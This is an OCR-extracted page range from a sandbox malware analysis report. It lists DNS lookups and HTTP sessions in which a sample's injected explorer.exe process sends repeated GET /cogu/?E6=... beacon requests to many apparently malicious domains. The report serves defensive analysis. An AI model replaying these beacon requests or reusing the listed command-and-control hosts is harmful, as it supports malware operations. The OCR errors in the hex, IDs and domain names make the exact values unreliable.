Oct 13, 2021 1111 192.168.11.20  0x8473 No error (0) centralcon 198.59.144.16 A (IP address)  IN (0x0001)
15:48:43.982966900 table.net
CEST
Oct 13, 2021 1111 192.168.11.20  Ox7acc No error (0) www.mobile 185.73.226.109 A (IP address)  IN (0x0001)
15:48:49.577518940 iranian2.com
CEST
Oct 13, 2021 1111 192.168.11.20 0x5003 No error (0) www.soymilk- 151.101.192.119 A (IP address)  IN (0x0001)
15:48:55.396420956 design.com
CEST
Oct 13, 2021 1111 192.168.11.20 0x5003 No error (0) www.soymilk- 151.101.0.119 A (IP address)  IN (0x0001)
15:48:55.396420956 design.com
CEST
Oct 13, 2021 1111 192.168.11.20  0x8699 No error (0) www.domain parkingpage.namecheap. CNAME IN (0x0001)
15:49:00.628799915 air.biz com (Canonical
CEST name)
Oct 13, 2021 1111 192.168.11.20  0x8699 No error (0) parkingpag 198.54.117.210 A (IP address)  IN (0x0001)
15:49:00.628799915 e.namechea
CEST p.com
Oct 13, 2021 1111 192.168.11.20  0x8699 No error (0) parkingpag 198.54.117.211 A (IP address)  IN (0x0001)
15:49:00.628799915 e.namechea
CEST p.com
Oct 13, 2021 1111 192.168.11.20  0x8699 No error (0) parkingpag 198.54.117.215 A (IP address)  IN (0x0001)
15:49:00.628799915 e.namechea
CEST p.com
Oct 13, 2021 1111 192.168.11.20  0x8699 No error (0) parkingpag 198.54.117.218 A (IP address)  IN (0x0001)
15:49:00.628799915 e.namechea
CEST p.com
Oct 13, 2021 1111 192.168.11.20  0x8699 No error (0) parkingpag 198.54.117.217 A (IP address)  IN (0x0001)
15:49:00.628799915 e.namechea
CEST p.com
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Timestamp

Oct 13, 2021
15:49:00.628799915
CEST

Oct 13, 2021
15:49:00.628799915
CEST

Oct 13, 2021
15:49:06.245028019
CEST

Oct 13, 2021
15:49:06.245028019
CEST

Oct 13, 2021
15:49:11.612540960
CEST

Oct 13, 2021
15:49:11.612540960
CEST

Oct 13, 2021
15:49:16.920985937
CEST

Oct 13, 2021
15:49:27.864936113
CEST

Oct 13, 2021
15:49:27.864936113
CEST

Oct 13, 2021
15:49:27.864936113
CEST

Oct 13, 2021
15:49:33.560539007
CEST

Oct 13, 2021
15:49:39.389076948
CEST

Oct 13, 2021
15:49:40.816879988
CEST

Oct 13, 2021
15:49:40.985773087
CEST

Oct 13, 2021
15:49:51.468550920
CEST

Oct 13, 2021
15:49:51.468550920
CEST

Oct 13, 2021
15:49:51.468550920
CEST

Oct 13, 2021
15:49:51.468550920
CEST

Oct 13, 2021
15:49:56.697240114
CEST

Oct 13, 2021
15:49:56.697240114
CEST

Oct 13, 2021
15:49:56.697240114
CEST

Oct 13, 2021
15:49:56.697240114
CEST

Oct 13, 2021
15:49:56.697240114
CEST

Oct 13, 2021
15:49:56.697240114
CEST

Oct 13, 2021
15:49:56.697240114
CEST
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Source IP

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

9.9.9.9

9.9.9.9

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

1111

Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0x8699

0x8699

0xd29f

0xd29f

0x13fd

0x13fd

0x19b4

0x3bb

0x3bb

0x3bb

0x6d81

0x8c6e

0x8c6e

0x8c6e

0xc512

0xc512

0xc512

0xc512

0x32e

0x32e

0x32e

0x32e

0x32e

0x32e

0x32e

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Server failure

@

Server failure

@

Server failure

@

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

www.nazfoo
dstuff.com

zhs.zohosi
tes.com

www.cacaol
ixir.com

cacaolixir.com

www.fisher
mandm.com

www.tpmion
line.com

tpmionline.com

tpmionline.com

www.shopsh

arpgraphics.com

www.sancha
lanprokash
on.com

www.sancha
lanprokash
on.com

www.sancha
lanprokash
on.com

www.jkwhit
leyphotogr
aphy.com
domains.pi
Xpa.com

a402f69f12
f4a8640.aw
sglobalacc
elerator.com

a402f69f12
f4a8640.aw
sglobalacc
elerator.com

www.boliden-
ab.com

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

CName

zhs.zohosites.com

cacaolixir.com

tpmionline.com

none

none

none

domains.pixpa.com

a402f69f12f4a8640.awsgl
obalaccelerator.com

parkingpage.namecheap.
com

Address
198.54.117.216

198.54.117.212

204.141.43.204

34.102.136.180

66.96.130.148

216.189.108.75

216.189.108.83

199.34.228.191

none

none

none

15.197.150.5

3.33.157.149

198.54.117.211

198.54.117.212

198.54.117.216

198.54.117.210

198.54.117.217

198.54.117.215

Type
A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Page 25 of 136



Timestamp Source IP

Oct 13, 2021
15:49:56.697240114
CEST

1111

Oct 13, 2021
15:50:02.073247910
CEST

1111

Oct 13, 2021
15:50:02.073247910
CEST

1111

Oct 13, 2021
15:50:07.406692982
CEST

1111

Oct 13, 2021
15:50:12.936949015
CEST

1111

Oct 13, 2021
15:50:23.682571888
CEST

1111

Oct 13, 2021 1111
15:50:23.682571888

CEST

Oct 13, 2021
15:50:23.682571888
CEST

1111

Oct 13, 2021
15:50:23.682571888
CEST

1111

Oct 13, 2021 1111
15:50:23.682571888

CEST

Oct 13, 2021
15:50:23.682571888
CEST

1111

Oct 13, 2021
15:50:23.682571888
CEST

1111

Oct 13, 2021
15:50:23.682571888
CEST

Oct 13, 2021
15:50:29.085437059
CEST

Oct 13, 2021
15:50:55.151947021
CEST

Oct 13, 2021
15:51:20.482215881
CEST

Oct 13, 2021
15:51:22.106215000
CEST

Oct 13, 2021
15:51:22.214874983
CEST

Oct 13, 2021
15:51:40.712682009
CEST

Oct 13, 2021
15:51:40.936865091
CEST

Oct 13, 2021
15:51:46.590653896
CEST

Oct 13, 2021
15:51:47.123405933
CEST

1111

1111

1111

1111

9.9.9.9

9.9.9.9

9.9.9.9

1111

9.9.9.9

9.9.9.9

Oct 13, 2021
15:51:47.123405933
CEST

9.9.9.9

Oct 13, 2021
15:51:47.479154110
CEST

Oct 13, 2021
15:51:51.636647940
CEST

9.9.9.9

9.9.9.9
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Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

Trans ID

0x32e

0x523f

0x523f

0xd70

0x1f89

0x9571

0x9571

0x9571

0x9571

0x9571

0x9571

0x9571

0x9571

0xc8f8

0x2d65

0x925f

0x925f

0x925f

0x683d

0x683d

0x7034

0xfb0

0xfb0

0x6499

Oxab29

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

Server failure

@

Server failure

@

Server failure

@

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

Name error (3)

Name CName

parkingpag
e.namechea
p.com

www.jachal
juega.com

ghs.googlehosted.com

ghs.google
hosted.com

WWW.XN--4p
vw92bcry.com

www.cerule
den.com

www.marvel
louslles.com

parkingpage.namecheap.
com

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
www.originial-
motors.com

none

www.high-c
licks.com

www.sancha
lanprokash
on.com

none

www.sancha
lanprokash
on.com

none

www.sancha
lanprokash
on.com

none

www.alo360.net

www.alo360.net

www.ebbtid
efloodtide.com

none

doc-00-60-
docs.googl
euserconte
nt.com

googlehosted.l.googleuse
rcontent.com

googlehost
ed.l.googl
euserconte
nt.com

docs.googl
e.com

www.originial-
motors.com

none

Address
198.54.117.218

142.250.186.179

75.2.115.196

47.88.32.85

198.54.117.211

198.54.117.218

198.54.117.217

198.54.117.215

198.54.117.212

198.54.117.210

198.54.117.216

none

192.64.116.180

none

none

none

156.239.224.4

156.239.224.4

none

172.217.168.33

172.217.168.78

none

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP

Oct 13, 2021 9.9.9.9
15:51:56.689119101
CEST

Oct 13, 2021 9.9.9.9
15:52:18.521131992
CEST

Oct 13, 2021 9.9.9.9
15:52:34.663312912
CEST

Oct 13, 2021 9.9.9.9
15:52:35.177371025
CEST

Oct 13, 2021 9.9.9.9
15:52:43.879914045
CEST

Oct 13, 2021 9.9.9.9
15:52:59.362169027
CEST

Oct 13, 2021 9.9.9.9
15:53:47.114963055
CEST

Oct 13, 2021 1111
15:53:47.967560053
CEST

Oct 13, 2021 1111
15:54:08.497015953
CEST

Oct 13, 2021 1111
15:54:08.497062922
CEST

Oct 13, 2021 1111
15:54:08.497095108
CEST

Oct 13, 2021 9.9.9.9
15:54:11.217573881
CEST

Oct 13, 2021 9.9.9.9
15:54:13.755866051
CEST

Oct 13, 2021 1111
15:54:14.460324049
CEST

Oct 13, 2021 9.9.9.9
15:54:15.522609949
CEST

Oct 13, 2021 9.9.9.9
15:54:24.847409964
CEST

Oct 13, 2021 9.9.9.9
15:54:29.893034935
CEST

Oct 13, 2021 9.9.9.9
15:54:35.270330906
CEST

Oct 13, 2021 9.9.9.9
15:54:35.270330906
CEST

Oct 13, 2021 9.9.9.9
15:54:35.270330906
CEST

Oct 13, 2021 9.9.9.9
15:54:40.697252989
CEST

Oct 13, 2021 9.9.9.9
15:54:46.242796898
CEST

Oct 13, 2021 9.9.9.9
15:54:46.242796898
CEST

Oct 13, 2021 1111
15:54:46.424149036
CEST

Oct 13, 2021 1111
15:54:46.424149036
CEST

Dest IP
192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

192.168.11.20

HTTP Request Dependency Graph
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Trans ID

0xb93a

0x75e7

Oxd4be

0x421b

0xa404

0x67b6

0x34al

0x34al

0x55e2

0x55e2

0x55e2

0x55e2

0x8ef6

0x8ef6

0x55e2

0x6d87

0x20d

0x662c

0x662c

0x662c

Ox6efl

0x8ed4

0x8ed4

0x8ed4

0x8ed4

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Server failure

(@)

Server failure

(@)

Server failure

@

Server failure

@

Server failure

@

Server failure

@

Server failure

@

Server failure

@

Server failure

@

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name

www.thousa
ndoaks-bui
ckgmc.com

www.thousa
ndoaks-bui
ckgmc.com

prda.aadg.
msidentity.com

clients.co
nfig.office.net

www.nul2.o
nline

www.cinarg
eridonusum.com

www.sancha
lanprokash
on.com

www.sancha
lanprokash
on.com

www.yakyu-
eiga.com

www.yakyu-
eiga.com

www.yakyu-
eiga.com

www.yakyu-
eiga.com

www.sancha
lanprokash
on.com

www.sancha
lanprokash
on.com

www.yakyu-
eiga.com

www.6ohmf.info

www.uprise
healthmoni
toring.com

www.estudio-
me.com

estudio-me.com

estudio-me.com

www.i8news-
de.website

www.alexan
derorlandis.com

alexandero
rlandis.com

www.alexan
derorlandis.com

alexandero
rlandis.com

CName

www.tm.a.prd.aadg.traffic
manager.net

geo.clients.config.office.a
kadns.net

none

none

none

none

none

none

none

none

none

none

estudio-me.com

alexanderorlandis.com

alexanderorlandis.com

Address
199.101.245.90

199.101.245.90

91.195.240.94

154.215.231.81

none

none

none

none

none

none

none

none

none

none

137.117.17.70

192.0.78.25

192.0.78.24

3.121.211.190

156.67.72.176

156.67.72.176

Type
A (IP address)

A (IP address)

CNAME
(Canonical
name)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0X0001)

IN (0Xx0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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e drive.google.com

e doc-04-7g-docs.googleusercontent.com

e doc-00-60-docs.googleusercontent.com

e docs.google.com

e www.hkautobox.com

e www.taichan.xyz

e www.researchlearningspirit.xyz

e www.bestofnapa.guide

o www.bqggfk.com

e www.centralcontable.net

e www.mobileiranian2.com

o www.soymilk-design.com

e www.domainair.biz

e www.nazfoodstuff.com

e www.cacaolixir.com

e www.fishermandm.com

e www.tpmionline.com

e www.shopsharpgraphics.com

* www.jkwhitleyphotography.com

e www.boliden-ab.com

e www.jachaljuega.com

* www.xn--4pvw92bcry.com

e www.ceruleden.com

e www.marvellouslles.com

e www.high-clicks.com

* www.alo360.net

e www.nul2.online

e www.cinargeridonusum.com

e www.uprisehealthmonitoring.com

* www.estudio-me.com
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* www.i8news-de.website

e www.alexanderorlandis.com

HTTP Packets

Session ID

0

Timestamp

Session ID

1

Timestamp

Session ID

10

Timestamp

Oct 13, 2021
15:48:15.815474987 CEST

Oct 13, 2021
15:48:15.841248035 CEST

Session ID
11

Timestamp

Oct 13, 2021
15:48:21.656261921 CEST

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

Source IP

192.168.11.20

kBytes
transferred

6503

6504

Source IP
192.168.11.20

kBytes
transferred

6505

Copyright Joe Security LLC 2021

Source Port

49790

Direction

Source Port

49791

Direction

Source Port

49793

Direction

ouT

Source Port
49794

Direction

ouT

Destination IP Destination Port Process

172.217.168.46 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

Destination IP Destination Port Process

142.250.185.161 443 C:\Users\user\Desktop\REQUIREMENT.exe

Data

Destination IP Destination Port Process

51.77.52.109 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=XflccXNfLX5VXF4pbgJOgkj9hfbfozamY6uAUfQ6uaB911jdIVb8IPx0hpo8MPsnFI&EVpdF=DEAIWhC
HTTP/1.1

Host: www.hkautobox.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Connection: close

Cache-Control: private, no-cache, no-store, must-revalidate, max-age=0

Pragma: no-cache

Content-Type: text/html

Content-Length: 708

Date: Wed, 13 Oct 2021 13:48:15 GMT

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6¢ 20 73 74 79 6¢ 65 3d 22 68 65 69 67 68 74 3a
3130 30 25 22 3e Oa 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e

74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6¢ 2d 73 63 61 6C 65
3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6¢ 65 3e 20 34 30 34 20 4e 6f 74
20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 20 73 74 79 6¢ 65 3d 22 63 6f 6¢
6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6¢ 20 31 34 70 78 2f 32 30 70
782041 72 69 61 6¢ 2c 20 48 65 6¢ 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 3
13030 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6¢ 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6
¢ 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20
20 3c 64 69 76 20 73 74 79 6¢ 65 3d 22 74 65 78 74 2d 61 6¢ 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a
383030 70 78 3b 20 6d 61 72 67 69 6e 2d 6¢ 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73
6f 6¢ 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6¢ 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68
3120 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6¢ 69 6e
65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6¢ 64 3b 22 3e 34 30 34 3c 2f
68 31 3e 0a 3c 68 32 20 73 74 79 6¢ 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65
3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d Oa 3c 2f 68 32 3e Oa 3¢ 70 3e 54 68 65 20 72 65 73 6f 75 72 63
65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6¢ 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6 20 74 68 69 73 20 73
65 72 76 65 72 21 3c 2f 70 3e Oa 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width,
initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found<f/titte></head><body style="color: #444; margin:0;font: normal
14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; ">
<div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 styl
e="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;"
>Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></htmI>

Destination IP Destination Port Process
103.164.172.49 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=A+BgLwYGva59ha/kPE6YS9y5Cw6+WAI2lefwiAx9zEuoRfqY6i5KVFOFLUKOYMYmgzYy&EVpdF=D
B6AIWhC HTTP/1.1

Host: www.taichan.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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kBytes

Timestamp transferred

Oct 13, 2021 6506

15:48:21.828289986 CEST

Session ID Source IP

12 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6506

15:48:26.950541973 CEST

Oct 13, 2021 6507

15:48:26.968235970 CEST

Session ID Source IP

13 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6508

15:48:32.017185926 CEST

Oct 13, 2021 6509
15:48:32.123902082 CEST
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Direction

IN

Source Port

49795

Direction

ouT

Source Port
49796

Direction
ouT

Data

HTTP/1.1 404 Not Found

Date: Wed, 13 Oct 2021 13:48:21 GMT

Server: Apache

Content-Length: 315

Connection: close

Content-Type: text/html; charset=iso-8859-1

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f
74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3¢ 68 31 3e 4e 6f 74 20 46 6f
75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c¢ 20 77 61 73 20 6e 6f 74 20 66 6f
75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6¢ 6C 79 2C
20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77
68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68
61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-/IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title></head>
<body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founde
rror was encountered while trying to use an ErrorDocument to handle the request.</p></body></htm|>

Destination IP Destination Port Process

172.67.139.41 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=XC5KNdI4GHSouGT38hjr4jsIQYnK9JeLhl8DzyfFb/cxQtVLaTUcvPIpENShYvrjmrvn&EVpdF=D6AIWhC
HTTP/1.1

Host: www.researchlearningspirit.xyz

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 301 Moved Permanently

Date: Wed, 13 Oct 2021 13:48:26 GMT

Transfer-Encoding: chunked

Connection: close

Cache-Control: max-age=3600

Expires: Wed, 13 Oct 2021 14:48:26 GMT

Location: https://www.researchlearningspirit.xyz/cogu/?E6=xC5KNdI4GHSouGT38hjr4jsIQYnK9JeLhI8DzyfFb/
cxQtVLaTUcvP9pENShYvrjmrvn&EVpdF=DEAIWhC

Report-To: {"endpoints”:[{"url":"https:VVa.nel.cloudflare.comV/report\/\v3?s=EPdfvNLKTUSRZ9UQSM2hjuuiXtnmAqHh
kSzgbWAURKyGpFN9juWpB0j%2F6AUHgKSjToaDhfW7DPyUcgfufXGwo2FuV%2FiRV2197%2BXxMtQWpV5A5wBks4g38
naGBGFMna0OjaPFZSeE4D1swsfw78%2FsUar7SQ%3D"}],"group”:“cf-nel*,"max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 69d9068c7ca0704c-FRA

alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400

Data Raw: 30 0d Oa Od Oa

Data Ascii: 0

Destination IP  Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=0YOc4eMaPzOzEKITDzffiIHUHUfLmwWJQOjcrghoXxwbMIeRPqH/XhR7I6RpoJjhKUSQ4&EVpdF=D
6AIWhC HTTP/1.1

Host: www.bestofnapa.guide

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Wed, 13 Oct 2021 13:48:32 GMT

Content-Type: text/html

Content-Length: 275

ETag: "615f9601-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3c
74 69 74 6¢ 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e
Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"> <title>Forbidden</title></head><body>
<h1>Access Forbidden</h1></body></htm|>
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Session ID Source IP

14 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6509

15:48:37.944444895 CEST

Oct 13, 2021 6510
15:48:38.217724085 CEST

Session ID Source IP

15 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6511

15:48:44.118815899 CEST

Oct 13, 2021 6511
15:48:44.254714966 CEST

Session ID Source IP

16 192.168.11.20
kBytes

Timestamp transferred

Oct 13, 2021 6512

15:48:49.675554037 CEST

Oct 13, 2021 6513
15:48:49.861639023 CEST
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Source Port

49797

Direction

ouT

Source Port

49798

Direction

ouT

Source Port
49799

Direction
ouT

Destination IP Destination Port Process

154.195.206.5 80 C:\Windows\explorer.exe

Data

GET /cogu/?E6=Esy+SZGnlGcFL3b4TdwlgkWYMoe5TNIPO2uJWgi8huQtR8igs1202F0FkbgpOK+vLGht&EVpdF=D
6AIWhC HTTP/1.1

Host: www.bggfk.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 404 Not Found

Server: nginx

Date: Wed, 13 Oct 2021 13:48:38 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
7469 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e
6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3¢ 63 65 6e 74 65 72 3e 6e 67 69 6e
